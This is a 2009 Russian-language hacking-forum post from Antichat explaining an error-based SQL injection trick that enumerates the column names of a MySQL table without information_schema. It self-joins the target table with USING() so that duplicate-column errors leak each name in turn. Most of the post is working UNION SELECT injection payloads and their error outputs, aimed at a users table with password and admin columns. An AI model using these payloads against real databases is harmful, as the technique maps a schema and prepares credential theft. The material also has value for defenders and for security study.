Показать сообщение отдельно

From ROA with love
  #10  
Старый 01.09.2009, 10:57
Qwazar
Leaders of Antichat - Level 4
Регистрация: 02.06.2005
Сообщений: 1,411
Провел на форуме:
10605912

Репутация: 4693


По умолчанию From ROA with love

Ещё 1 способ узнать имена колонок без использования information_schema в MySQL5 (нашёл 25.02.2009, спасибо Грею, за то что проверил у себя и всем, кого мучал вопросами).

У меня есть таблицы:
news(id,title,date)
users(id,name,passwd,is_admin)

Допустим мы имеем скуль:
SELECT * FROM `news` WHERE id = [SQL]

Хотим узнать имена столбцов в таблице users. Делаем это так:

Шлём запрос:
Код:
SELECT * FROM `news` WHERE id = -1 UNION SELECT * FROM users, (SELECT * FROM `users` CROSS JOIN (select * from users) as b ON 1=1)a
Возвращает ошибку:
#1060 - Duplicate column name 'id'

Кстати можно использовать любой вариант JOIN'а, не обязательно CROSS JOIN, просто перебирая варианты он оказался последним.

(А вот после этого пришлось помучатся, благо в MySQL обнаружилась конструкция USING(), далее всё внимание на неё)

Тогда шлём запрос:
Код:
SELECT * FROM `news` WHERE id = -1 UNION SELECT * FROM users, (SELECT * FROM `users` CROSS JOIN (select * from users) as b USING(id))a
Возвращает:
#1060 - Duplicate column name 'name'

Тогда шлём:
Код:
SELECT * FROM `news` WHERE id = -1 UNION SELECT * FROM users, (SELECT * FROM `users` CROSS JOIN (select * from users) as b USING(id,name))a
Возвращает:
#1060 - Duplicate column name 'passwd'

И т.д., когда переберём все столбцы, вернётся:
#1222 - The used SELECT statements have a different number of columns

З.Ы.
Если удалить всё ненужное, то получатся запросы:
Код:
-1 UNION SELECT * FROM (SELECT * FROM users JOIN users b)a
Код:
-1 UNION SELECT * FROM (SELECT * FROM users JOIN users b USING(id))a
Вариантов избавиться от подзапросов пока не вижу
__________________
Я отдал бы немало за пару крыльев,
Я отдал бы немало за третий глаз
За руку на которой четырнадцать пальцев
Мне нужен для дыхания другой газ..

Мой блог:http://qwazar.ru/.

Последний раз редактировалось Qwazar; 01.09.2009 в 11:01..